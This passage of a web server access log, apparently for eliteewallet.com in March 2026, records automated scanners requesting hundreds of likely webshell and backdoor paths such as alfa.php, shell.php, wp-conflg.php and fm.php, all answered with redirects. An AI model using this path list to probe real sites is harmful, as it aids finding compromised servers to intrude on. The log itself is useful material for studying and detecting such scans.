+0300] "GET /autoload_classmap.php?p= HTTP/1.1" 301 795 "-" "-" 20.48.232.178 - - [26/Mar/2026:22:47:35 +0300] "GET /wp-admin/maint/admin.php HTTP/1.1" 301 795 "-" "-" 20.48.232.178 - - [26/Mar/2026:22:50:38 +0300] "GET /index/function.php HTTP/1.1" 301 795 "-" "-" 20.48.232.178 - - [26/Mar/2026:22:56:45 +0300] "GET /ha.php HTTP/1.1" 301 795 "-" "-" 20.48.232.178 - - [26/Mar/2026:22:58:16 +0300] "GET /ar.php HTTP/1.1" 301 795 "-" "-" 20.48.232.178 - - [26/Mar/2026:22:59:12 +0300] "GET /ave.php HTTP/1.1" 301 795 "-" "-" 20.48.232.178 - - [26/Mar/2026:23:02:08 +0300] "GET /ton.php HTTP/1.1" 301 795 "-" "-" 20.48.232.178 - - [26/Mar/2026:23:05:43 +0300] "GET /rh.php HTTP/1.1" 301 795 "-" "-" 20.48.232.178 - - [26/Mar/2026:22:38:39 +0300] "GET /atx.php HTTP/1.1" 301 795 "-" "-" 20.48.232.178 - - [26/Mar/2026:22:40:00 +0300] "GET /wp-admin/network/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 20.48.232.178 - - [26/Mar/2026:22:40:39 +0300] "GET /lv.php HTTP/1.1" 301 795 "-" "-" 20.48.232.178 - - [26/Mar/2026:22:42:57 +0300] "GET /222.php HTTP/1.1" 301 795 "-" "-" 20.48.232.178 - - [26/Mar/2026:22:43:28 +0300] "GET /wp-admin/maint/maint.php HTTP/1.1" 301 795 "-" "-" 20.48.232.178 - - [26/Mar/2026:22:43:55 +0300] "GET /abcd.php HTTP/1.1" 301 795 "-" "-" 20.48.232.178 - - [26/Mar/2026:22:45:42 +0300] "GET /wp-admin/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 20.48.232.178 - - [26/Mar/2026:22:45:57 +0300] "GET /wp-admin/css/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 20.48.232.178 - - [26/Mar/2026:22:46:27 +0300] "GET /item.php HTTP/1.1" 301 795 "-" "-" 20.48.232.178 - - [26/Mar/2026:22:52:38 +0300] "GET /security.php HTTP/1.1" 301 795 "-" "-" 20.48.232.178 - - [26/Mar/2026:22:52:44 +0300] "GET /wp-admin/user/about.php HTTP/1.1" 301 795 "-" "-" 20.48.232.178 - - [26/Mar/2026:22:53:10 +0300] "GET /wp-content/upgrade/about.php HTTP/1.1" 301 795 "-" "-" 20.48.232.178 - - [26/Mar/2026:22:54:13 +0300] "GET /wp-content/admin.php HTTP/1.1" 301 795 "-" "-" 20.48.232.178 - - [26/Mar/2026:22:57:15 +0300] "GET /we2.php HTTP/1.1" 301 795 "-" "-" 20.48.232.178 - - [26/Mar/2026:22:59:44 +0300] "GET /radio.php HTTP/1.1" 301 795 "-" "-" 20.48.232.178 - - [26/Mar/2026:23:01:42 +0300] "GET /bless11.php HTTP/1.1" 301 795 "-" "-" 20.48.232.178 - - [26/Mar/2026:23:04:02 +0300] "GET /1aa.php HTTP/1.1" 301 795 "-" "-" 20.48.232.178 - - [26/Mar/2026:22:34:15 +0300] "GET /wp-admin/css/colors/blue/index.php HTTP/1.1" 301 795 "-" "-" 20.48.232.178 - - [26/Mar/2026:22:34:21 +0300] "GET /class19.php HTTP/1.1" 301 795 "-" "-" 20.48.232.178 - - [26/Mar/2026:22:34:49 +0300] "GET /admin.php?p= HTTP/1.1" 301 795 "-" "-" 20.48.232.178 - - [26/Mar/2026:22:35:49 +0300] "GET /g.php HTTP/1.1" 301 795 "-" "-" 20.48.232.178 - - [26/Mar/2026:22:37:25 +0300] "GET /fv.php HTTP/1.1" 301 795 "-" "-" 20.48.232.178 - - [26/Mar/2026:22:37:40 +0300] "GET /file.php? HTTP/1.1" 301 795 "-" "-" 20.48.232.178 - - [26/Mar/2026:22:37:46 +0300] "GET /lsd.php HTTP/1.1" 301 795 "-" "-" 20.48.232.178 - - [26/Mar/2026:22:41:03 +0300] "GET /css.php HTTP/1.1" 301 795 "-" "-" 20.48.232.178 - - [26/Mar/2026:22:44:57 +0300] "GET /alfa.php HTTP/1.1" 301 795 "-" "-" 20.48.232.178 - - [26/Mar/2026:22:45:27 +0300] "GET /wp-admin/js/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 20.48.232.178 - - [26/Mar/2026:22:48:21 +0300] "GET /wp-trackback.php HTTP/1.1" 301 795 "-" "-" 20.48.232.178 - - [26/Mar/2026:22:48:25 +0300] "GET /.well-known/index.php HTTP/1.1" 301 795 "-" "-" 20.48.232.178 - - [26/Mar/2026:22:49:08 +0300] "GET /wp-includes/ID3/about.php HTTP/1.1" 301 795 "-" "-" 20.48.232.178 - - [26/Mar/2026:22:49:38 +0300] "GET /wp-includes/SimplePie/wp-login.php HTTP/1.1" 301 795 "-" "-" 20.48.232.178 - - [26/Mar/2026:22:50:19 +0300] "GET /wp-admin/maint/index.php HTTP/1.1" 301 795 "-" "-" 20.48.232.178 - - [26/Mar/2026:22:50:53 +0300] "GET /uploads/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 20.48.232.178 - - [26/Mar/2026:22:51:06 +0300] "GET /wp-includes/style-engine/about.php HTTP/1.1" 301 795 "-" "-" 20.48.232.178 - - [26/Mar/2026:22:53:58 +0300] "GET /.well-known/admin.php HTTP/1.1" 301 795 "-" "-" 20.48.232.178 - - [26/Mar/2026:22:55:07 +0300] "GET /bless5.php HTTP/1.1" 301 795 "-" "-" 20.48.232.178 - - [26/Mar/2026:22:55:20 +0300] "GET /wp-includes/js/codemirror/index.php HTTP/1.1" 301 795 "-" "-" 20.48.232.178 - - [26/Mar/2026:22:57:45 +0300] "GET /333.php HTTP/1.1" 301 795 "-" "-" 20.48.232.178 - - [26/Mar/2026:23:02:30 +0300] "GET /file9.php HTTP/1.1" 301 795 "-" "-" 20.48.232.178 - - [26/Mar/2026:22:35:04 +0300] "GET /randkeyword.php HTTP/1.1" 301 795 "-" "-" 20.48.232.178 - - [26/Mar/2026:22:41:18 +0300] "GET /cong.php HTTP/1.1" 301 795 "-" "-" 20.48.232.178 - - [26/Mar/2026:22:41:41 +0300] "GET /cong.php HTTP/1.1" 301 795 "-" "-" 20.48.232.178 - - [26/Mar/2026:22:41:42 +0300] "GET /w.php HTTP/1.1" 301 795 "-" "-" 20.48.232.178 - - [26/Mar/2026:22:47:20 +0300] "GET /wp-content/plugins/index.php HTTP/1.1" 301 795 "-" "-" 20.48.232.178 - - [26/Mar/2026:22:47:21 +0300] "GET /sx.php HTTP/1.1" 301 795 "-" "-" 20.48.232.178 - - [26/Mar/2026:22:49:23 +0300] "GET /css/index.php HTTP/1.1" 301 795 "-" "-" 20.48.232.178 - - [26/Mar/2026:22:50:08 +0300] "GET /filemanager/dialog.php HTTP/1.1" 301 795 "-" "-" 20.48.232.178 - - [26/Mar/2026:22:53:43 +0300] "GET /wp-includes/fonts/index.php?p= HTTP/1.1" 301 795 "-" "-" 20.48.232.178 - - [26/Mar/2026:22:55:45 +0300] "GET /lock360.php HTTP/1.1" 301 795 "-" "-" 20.48.232.178 - - [26/Mar/2026:22:56:00 +0300] "GET /f35.php HTTP/1.1" 301 795 "-" "-" 20.48.232.178 - - [26/Mar/2026:23:00:40 +0300] "GET /nox.php HTTP/1.1" 301 795 "-" "-" 20.48.232.178 - - [26/Mar/2026:23:00:51 +0300] "GET /file48.php HTTP/1.1" 301 795 "-" "-" 20.48.232.178 - - [26/Mar/2026:23:03:47 +0300] "GET /up4.php HTTP/1.1" 301 795 "-" "-" 43.138.68.113 - - [26/Mar/2026:21:50:18 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 20.48.232.178 - - [26/Mar/2026:22:36:50 +0300] "GET /htaccess.php HTTP/1.1" 301 795 "-" "-" 20.48.232.178 - - [26/Mar/2026:22:37:19 +0300] "GET /x50.php HTTP/1.1" 301 795 "-" "-" 20.48.232.178 - - [26/Mar/2026:22:38:45 +0300] "GET /z60.php HTTP/1.1" 301 795 "-" "-" 20.48.232.178 - - [26/Mar/2026:22:41:57 +0300] "GET /404.php HTTP/1.1" 301 795 "-" "-" 20.48.232.178 - - [26/Mar/2026:22:44:42 +0300] "GET /about.php HTTP/1.1" 301 795 "-" "-" 20.48.232.178 - - [26/Mar/2026:22:47:12 +0300] "GET /mail.php HTTP/1.1" 301 795 "-" "-" 20.48.232.178 - - [26/Mar/2026:22:48:57 +0300] "GET /gmo.php HTTP/1.1" 301 795 "-" "-" 20.48.232.178 - - [26/Mar/2026:22:51:49 +0300] "GET /admin/function.php HTTP/1.1" 301 795 "-" "-" 20.48.232.178 - - [26/Mar/2026:22:52:59 +0300] "GET /wp-admin/js/index.php HTTP/1.1" 301 795 "-" "-" 20.48.232.178 - - [26/Mar/2026:22:56:30 +0300] "GET /juuuu.php HTTP/1.1" 301 795 "-" "-" 20.48.232.178 - - [26/Mar/2026:23:02:35 +0300] "GET /ac.php HTTP/1.1" 301 795 "-" "-" 20.48.232.178 - - [26/Mar/2026:23:02:50 +0300] "GET /new4.php HTTP/1.1" 301 795 "-" "-" 17.246.19.97 - - [26/Mar/2026:23:22:00 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4 Safari/605.1.15 (Applebot/0.1; +http://www.apple.com/go/applebot)" 185.8.106.156 - - [27/Mar/2026:01:08:12 +0300] "GET //eliteewallet.com/wp-content/plugins/smart-slider-3/Public/SmartSlider3/Widget/Arrow/ArrowImage/Assets/dist/w-arrow-image.min.js HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2166.2 Safari/537.36" 185.8.106.156 - - [27/Mar/2026:01:08:12 +0300] "GET //eliteewallet.com/wp-content/themes/blocksy/static/bundle/main.js HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 6.0.1; MI 4W) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.111 Mobile Safari/537.36" 20.151.201.236 - - [27/Mar/2026:02:53:45 +0300] "GET /admin.php?p= HTTP/1.1" 301 795 "-" "-" 20.151.201.236 - - [27/Mar/2026:02:54:01 +0300] "GET /aa.php HTTP/1.1" 301 795 "-" "-" 20.151.201.236 - - [27/Mar/2026:02:55:49 +0300] "GET /themes.php HTTP/1.1" 301 795 "-" "-" 20.151.201.236 - - [27/Mar/2026:02:56:19 +0300] "GET /css.php HTTP/1.1" 301 795 "-" "-" 20.151.201.236 - - [27/Mar/2026:02:53:33 +0300] "GET /test1.php HTTP/1.1" 301 795 "-" "-" 20.151.201.236 - - [27/Mar/2026:02:54:47 +0300] "GET /fm.php HTTP/1.1" 301 795 "-" "-" 20.151.201.236 - - [27/Mar/2026:02:55:11 +0300] "GET /ini.php HTTP/1.1" 301 795 "-" "-" 20.151.201.236 - - [27/Mar/2026:02:58:55 +0300] "GET /about.php HTTP/1.1" 301 795 "-" "-" 185.8.106.156 - - [27/Mar/2026:01:08:12 +0300] "GET //eliteewallet.com/wp-content/plugins/smart-slider-3/Public/SmartSlider3/Application/Frontend/Assets/dist/n2.min.js HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.109 Safari/537.36" 185.8.106.156 - - [27/Mar/2026:01:08:12 +0300] "GET //eliteewallet.com/wp-includes/js/jquery/jquery-migrate.min.js HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240" 134.122.133.132 - - [27/Mar/2026:01:51:31 +0300] "GET /include/ckeditor/images/addon.gif HTTP/1.1" 301 795 "http://eliteewallet.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36" 134.122.133.132 - - [27/Mar/2026:01:51:37 +0300] "GET /zb_system/login.php HTTP/1.1" 301 795 "http://eliteewallet.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36" 20.151.201.236 - - [27/Mar/2026:02:54:56 +0300] "GET /wp-content/plugins/seoplugins/index.php HTTP/1.1" 301 795 "-" "-" 20.151.201.236 - - [27/Mar/2026:02:56:28 +0300] "GET /byp.php HTTP/1.1" 301 795 "-" "-" 185.8.106.156 - - [27/Mar/2026:01:08:12 +0300] "GET //eliteewallet.com/wp-content/plugins/blocksy-companion/static/bundle/sticky.js HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 9; SM-G950F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.111 Mobile Safari/537.36" 185.8.106.156 - - [27/Mar/2026:01:08:12 +0300] "GET //eliteewallet.com/wp-content/plugins/elementor/assets/js/frontend-modules.min.js HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 6.0; HTC One M9 Build/MRA58K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.98 Mobile Safari/537.36" 20.151.201.236 - - [27/Mar/2026:02:53:06 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.151.201.236 - - [27/Mar/2026:02:54:05 +0300] "GET /config.php HTTP/1.1" 301 795 "-" "-" 20.151.201.236 - - [27/Mar/2026:02:54:32 +0300] "GET /post.php HTTP/1.1" 301 795 "-" "-" 20.151.201.236 - - [27/Mar/2026:02:57:53 +0300] "GET /cgi-bin/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 20.151.201.236 - - [27/Mar/2026:02:58:04 +0300] "GET /assets/admin.php HTTP/1.1" 301 795 "-" "-" 20.151.201.236 - - [27/Mar/2026:02:59:33 +0300] "GET /wp-links.php HTTP/1.1" 301 795 "-" "-" 185.8.106.156 - - [27/Mar/2026:01:08:12 +0300] "GET //eliteewallet.com/wp-content/uploads/theplus-addons/theplus-post-81.min.js HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 8.0.0; moto e5 plus Build/OPPS27.91-122-3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.126 Mobile Safari/537.36" 185.8.106.156 - - [27/Mar/2026:01:08:12 +0300] "GET //eliteewallet.com/wp-includes/js/jquery/jquery.min.js HTTP/1.1" 301 795 "-" "Opera/9.80 (Android; Opera Mini/43.3.2254/150.36; U; en) Presto/2.12.423 Version/12.16" 124.156.179.141 - - [27/Mar/2026:02:17:44 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 20.151.201.236 - - [27/Mar/2026:02:56:04 +0300] "GET /index/function.php HTTP/1.1" 301 795 "-" "-" 20.151.201.236 - - [27/Mar/2026:02:56:42 +0300] "GET /wp-admin/install.php HTTP/1.1" 301 795 "-" "-" 20.151.201.236 - - [27/Mar/2026:02:56:45 +0300] "GET /cgi-bin/1.php HTTP/1.1" 301 795 "-" "-" 20.151.201.236 - - [27/Mar/2026:02:57:24 +0300] "GET /wp-admin/network/lock.php HTTP/1.1" 301 795 "-" "-" 20.151.201.236 - - [27/Mar/2026:02:58:19 +0300] "GET /cgi-bin/moon.php HTTP/1.1" 301 795 "-" "-" 20.151.201.236 - - [27/Mar/2026:02:59:10 +0300] "GET /filemanager.php HTTP/1.1" 301 795 "-" "-" 141.98.11.224 - - [27/Mar/2026:01:07:17 +0300] "GET / HTTP/1.0" 301 795 "http://eliteewallet.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Avast/131.0.0.0" 185.8.106.156 - - [27/Mar/2026:01:08:12 +0300] "GET //eliteewallet.com/wp-content/plugins/smart-slider-3/Public/SmartSlider3/Slider/SliderType/Simple/Assets/dist/ss-simple.min.js HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 9; BLA-L29) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.101 Mobile Safari/537.36" 20.151.201.236 - - [27/Mar/2026:02:55:19 +0300] "GET /wp-admin/chosen.php HTTP/1.1" 301 795 "-" "-" 20.151.201.236 - - [27/Mar/2026:02:59:25 +0300] "GET /dropdown.php HTTP/1.1" 301 795 "-" "-" 185.8.106.156 - - [27/Mar/2026:01:08:12 +0300] "GET //eliteewallet.com/wp-content/plugins/smart-slider-3/Public/SmartSlider3/Slider/SliderType/Simple/Assets/dist/smartslider-backgroundanimation.min.js HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 8.0.0; SAMSUNG-SM-G930A) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.111 Mobile Safari/537.36" 20.151.201.236 - - [27/Mar/2026:02:57:11 +0300] "GET /wp-content/plugins/pwnd/gecko.php HTTP/1.1" 301 795 "-" "-" 20.151.201.236 - - [27/Mar/2026:02:57:39 +0300] "GET /assets/item.php HTTP/1.1" 301 795 "-" "-" 185.8.106.156 - - [27/Mar/2026:01:08:12 +0300] "GET //eliteewallet.com/wp-content/plugins/elementor/assets/js/frontend.min.js HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 4.1.2; GT-N8013) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.99 Safari/537.36" 185.8.106.156 - - [27/Mar/2026:01:08:12 +0300] "GET //eliteewallet.com/wp-content/plugins/elementor/assets/js/webpack.runtime.min.js HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 5.1.1; SM-J111F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.111 Mobile Safari/537.36" 185.8.106.156 - - [27/Mar/2026:01:08:12 +0300] "GET //eliteewallet.com/wp-includes/js/jquery/ui/core.min.js HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.19 Safari/537.36" 185.8.106.156 - - [27/Mar/2026:01:08:12 +0300] "GET //eliteewallet.com/wp-includes/js/jquery/ui/slider.min.js HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686 (x86_64)) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.130 Safari/537.36" 20.151.201.236 - - [27/Mar/2026:02:53:14 +0300] "GET /class.php HTTP/1.1" 301 795 "-" "-" 20.151.201.236 - - [27/Mar/2026:02:53:18 +0300] "GET /as.php HTTP/1.1" 301 795 "-" "-" 20.151.201.236 - - [27/Mar/2026:02:54:20 +0300] "GET /fw.php HTTP/1.1" 301 795 "-" "-" 20.151.201.236 - - [27/Mar/2026:02:55:34 +0300] "GET /info.php HTTP/1.1" 301 795 "-" "-" 20.151.201.236 - - [27/Mar/2026:02:56:59 +0300] "GET /cgi-bin/admin.php HTTP/1.1" 301 795 "-" "-" 20.151.201.236 - - [27/Mar/2026:02:58:34 +0300] "GET /radio.php HTTP/1.1" 301 795 "-" "-" 20.151.201.236 - - [27/Mar/2026:02:58:49 +0300] "GET /user.php HTTP/1.1" 301 795 "-" "-" 20.151.201.236 - - [27/Mar/2026:03:04:09 +0300] "GET /fw.php HTTP/1.1" 301 795 "-" "-" 20.151.201.236 - - [27/Mar/2026:03:04:10 +0300] "GET /brand.php HTTP/1.1" 301 795 "-" "-" 20.151.201.236 - - [27/Mar/2026:03:05:18 +0300] "GET /wp-content/index.php HTTP/1.1" 301 795 "-" "-" 20.151.201.236 - - [27/Mar/2026:03:05:19 +0300] "GET /1.php HTTP/1.1" 301 795 "-" "-" 20.151.201.236 - - [27/Mar/2026:03:06:43 +0300] "GET /fm.php?p= HTTP/1.1" 301 795 "-" "-" 20.151.201.236 - - [27/Mar/2026:03:07:51 +0300] "GET /mail.php HTTP/1.1" 301 795 "-" "-" 20.151.201.236 - - [27/Mar/2026:03:00:43 +0300] "GET /as.php HTTP/1.1" 301 795 "-" "-" 20.151.201.236 - - [27/Mar/2026:03:04:34 +0300] "GET /cong.php HTTP/1.1" 301 795 "-" "-" 20.151.201.236 - - [27/Mar/2026:03:04:35 +0300] "GET /atomlib.php HTTP/1.1" 301 795 "-" "-" 20.151.201.236 - - [27/Mar/2026:03:04:37 +0300] "GET /w.php HTTP/1.1" 301 795 "-" "-" 20.151.201.236 - - [27/Mar/2026:03:07:20 +0300] "GET /alfa.php HTTP/1.1" 301 795 "-" "-" 20.151.201.236 - - [27/Mar/2026:03:09:00 +0300] "GET /ini.php HTTP/1.1" 301 795 "-" "-" 20.151.201.236 - - [27/Mar/2026:03:09:01 +0300] "GET /ws.php HTTP/1.1" 301 795 "-" "-" 20.151.201.236 - - [27/Mar/2026:03:02:20 +0300] "GET /wp-admin/network/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 20.151.201.236 - - [27/Mar/2026:03:02:50 +0300] "GET /install.php HTTP/1.1" 301 795 "-" "-" 43.153.122.30 - - [27/Mar/2026:03:03:29 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 20.151.201.236 - - [27/Mar/2026:03:05:03 +0300] "GET /css.php HTTP/1.1" 301 795 "-" "-" 20.151.201.236 - - [27/Mar/2026:03:05:03 +0300] "GET /modules/mod_simplefileuploadv1.3/elements/filemanager.php?p= HTTP/1.1" 301 795 "-" "-" 20.151.201.236 - - [27/Mar/2026:03:06:08 +0300] "GET /autoload_classmap.php?p= HTTP/1.1" 301 795 "-" "-" 20.151.201.236 - - [27/Mar/2026:03:07:11 +0300] "GET /about.php HTTP/1.1" 301 795 "-" "-" 20.151.201.236 - - [27/Mar/2026:03:07:12 +0300] "GET /file.php? HTTP/1.1" 301 795 "-" "-" 20.151.201.236 - - [27/Mar/2026:03:08:12 +0300] "GET /wp-admin/maint/admin.php HTTP/1.1" 301 795 "-" "-" 20.151.201.236 - - [27/Mar/2026:03:09:28 +0300] "GET /class.php HTTP/1.1" 301 795 "-" "-" 20.151.201.236 - - [27/Mar/2026:03:09:29 +0300] "GET /bless.php HTTP/1.1" 301 795 "-" "-" 20.151.201.236 - - [27/Mar/2026:03:06:28 +0300] "GET /default.php HTTP/1.1" 301 795 "-" "-" 20.151.201.236 - - [27/Mar/2026:03:08:27 +0300] "GET /article.php HTTP/1.1" 301 795 "-" "-" 20.151.201.236 - - [27/Mar/2026:03:08:41 +0300] "GET /alfa.php HTTP/1.1" 301 795 "-" "-" 20.151.201.236 - - [27/Mar/2026:03:08:41 +0300] "GET /1.php HTTP/1.1" 301 795 "-" "-" 20.151.201.236 - - [27/Mar/2026:03:08:41 +0300] "GET /403.php HTTP/1.1" 301 795 "-" "-" 20.151.201.236 - - [27/Mar/2026:03:08:42 +0300] "GET /link.php HTTP/1.1" 301 795 "-" "-" 20.151.201.236 - - [27/Mar/2026:03:00:00 +0300] "GET /ALFA_DATA/index.php HTTP/1.1" 301 795 "-" "-" 20.151.201.236 - - [27/Mar/2026:03:00:15 +0300] "GET /xmrlpc.php HTTP/1.1" 301 795 "-" "-" 20.151.201.236 - - [27/Mar/2026:03:01:50 +0300] "GET /themes.php HTTP/1.1" 301 795 "-" "-" 20.151.201.236 - - [27/Mar/2026:03:03:13 +0300] "GET /simple.php HTTP/1.1" 301 795 "-" "-" 20.151.201.236 - - [27/Mar/2026:03:04:52 +0300] "GET /0x.php HTTP/1.1" 301 795 "-" "-" 20.151.201.236 - - [27/Mar/2026:03:05:28 +0300] "GET /admin.php HTTP/1.1" 301 795 "-" "-" 20.151.201.236 - - [27/Mar/2026:03:05:29 +0300] "GET /wp-admin/maint/maint.php HTTP/1.1" 301 795 "-" "-" 20.151.201.236 - - [27/Mar/2026:03:09:13 +0300] "GET /wp-trackback.php HTTP/1.1" 301 795 "-" "-" 20.151.201.236 - - [27/Mar/2026:03:01:05 +0300] "GET /max.php HTTP/1.1" 301 795 "-" "-" 20.151.201.236 - - [27/Mar/2026:03:02:05 +0300] "GET /wp-admin/maint/about.php HTTP/1.1" 301 795 "-" "-" 20.151.201.236 - - [27/Mar/2026:03:02:35 +0300] "GET /click.php HTTP/1.1" 301 795 "-" "-" 20.151.201.236 - - [27/Mar/2026:03:03:02 +0300] "GET /lv.php HTTP/1.1" 301 795 "-" "-" 20.151.201.236 - - [27/Mar/2026:03:03:26 +0300] "GET /css.php HTTP/1.1" 301 795 "-" "-" 20.151.201.236 - - [27/Mar/2026:03:03:26 +0300] "GET /up.php?x= HTTP/1.1" 301 795 "-" "-" 20.151.201.236 - - [27/Mar/2026:03:05:57 +0300] "GET /0x.php HTTP/1.1" 301 795 "-" "-" 20.151.201.236 - - [27/Mar/2026:03:05:57 +0300] "GET /moon.php?p= HTTP/1.1" 301 795 "-" "-" 20.151.201.236 - - [27/Mar/2026:03:06:57 +0300] "GET /fm.php?fm=true HTTP/1.1" 301 795 "-" "-" 20.151.201.236 - - [27/Mar/2026:03:01:20 +0300] "GET /m.php HTTP/1.1" 301 795 "-" "-" 20.151.201.236 - - [27/Mar/2026:03:03:41 +0300] "GET /0x1949.php HTTP/1.1" 301 795 "-" "-" 20.151.201.236 - - [27/Mar/2026:03:07:26 +0300] "GET /buy.php HTTP/1.1" 301 795 "-" "-" 20.151.201.236 - - [27/Mar/2026:03:08:51 +0300] "GET /byp.php HTTP/1.1" 301 795 "-" "-" 20.151.201.236 - - [27/Mar/2026:03:08:52 +0300] "GET /bak.php HTTP/1.1" 301 795 "-" "-" 20.151.201.236 - - [27/Mar/2026:03:09:43 +0300] "GET /lock360.php HTTP/1.1" 301 795 "-" "-" 20.151.201.236 - - [27/Mar/2026:02:59:48 +0300] "GET /shell.php HTTP/1.1" 301 795 "-" "-" 20.151.201.236 - - [27/Mar/2026:03:00:26 +0300] "GET /htaccess.php HTTP/1.1" 301 795 "-" "-" 20.151.201.236 - - [27/Mar/2026:03:00:33 +0300] "GET /readme.php HTTP/1.1" 301 795 "-" "-" 20.151.201.236 - - [27/Mar/2026:03:00:50 +0300] "GET /403.php HTTP/1.1" 301 795 "-" "-" 20.151.201.236 - - [27/Mar/2026:03:01:35 +0300] "GET /post.php HTTP/1.1" 301 795 "-" "-" 20.151.201.236 - - [27/Mar/2026:03:03:21 +0300] "GET /13k.php HTTP/1.1" 301 795 "-" "-" 20.151.201.236 - - [27/Mar/2026:03:03:57 +0300] "GET /cong.php HTTP/1.1" 301 795 "-" "-" 20.151.201.236 - - [27/Mar/2026:03:04:25 +0300] "GET /goods.php HTTP/1.1" 301 795 "-" "-" 20.151.201.236 - - [27/Mar/2026:03:04:41 +0300] "GET /404.php?fm=true HTTP/1.1" 301 795 "-" "-" 20.151.201.236 - - [27/Mar/2026:03:05:41 +0300] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "-" 20.151.201.236 - - [27/Mar/2026:03:05:50 +0300] "GET /dropdown.php HTTP/1.1" 301 795 "-" "-" 20.151.201.236 - - [27/Mar/2026:03:05:51 +0300] "GET /moon.php HTTP/1.1" 301 795 "-" "-" 20.151.201.236 - - [27/Mar/2026:03:06:21 +0300] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 20.151.201.236 - - [27/Mar/2026:03:07:36 +0300] "GET /manager.php?p= HTTP/1.1" 301 795 "-" "-" 20.151.201.236 - - [27/Mar/2026:03:08:04 +0300] "GET /wp-content/plugins/index.php HTTP/1.1" 301 795 "-" "-" 20.151.201.236 - - [27/Mar/2026:03:08:04 +0300] "GET /sx.php HTTP/1.1" 301 795 "-" "-" 74.243.251.125 - - [27/Mar/2026:03:40:07 +0300] "GET /h2.php HTTP/1.1" 301 795 "-" "-" 74.243.251.125 - - [27/Mar/2026:03:40:52 +0300] "GET /fgd.php HTTP/1.1" 301 795 "-" "-" 74.243.251.125 - - [27/Mar/2026:03:42:06 +0300] "GET /yawa.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [27/Mar/2026:03:44:25 +0300] "GET /gptsh.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [27/Mar/2026:03:47:31 +0300] "GET /wp-content/about.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [27/Mar/2026:03:48:42 +0300] "GET /t.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [27/Mar/2026:03:50:00 +0300] "GET /144.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [27/Mar/2026:03:50:30 +0300] "GET /a4.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [27/Mar/2026:03:51:37 +0300] "GET /yas.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [27/Mar/2026:03:51:49 +0300] "GET /bolt.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [27/Mar/2026:03:52:16 +0300] "GET /ws84.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [27/Mar/2026:03:53:02 +0300] "GET /sa.php7 HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [27/Mar/2026:03:54:25 +0300] "GET /byp8.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [27/Mar/2026:03:56:00 +0300] "GET /kj.php HTTP/1.1" 301 795 "-" 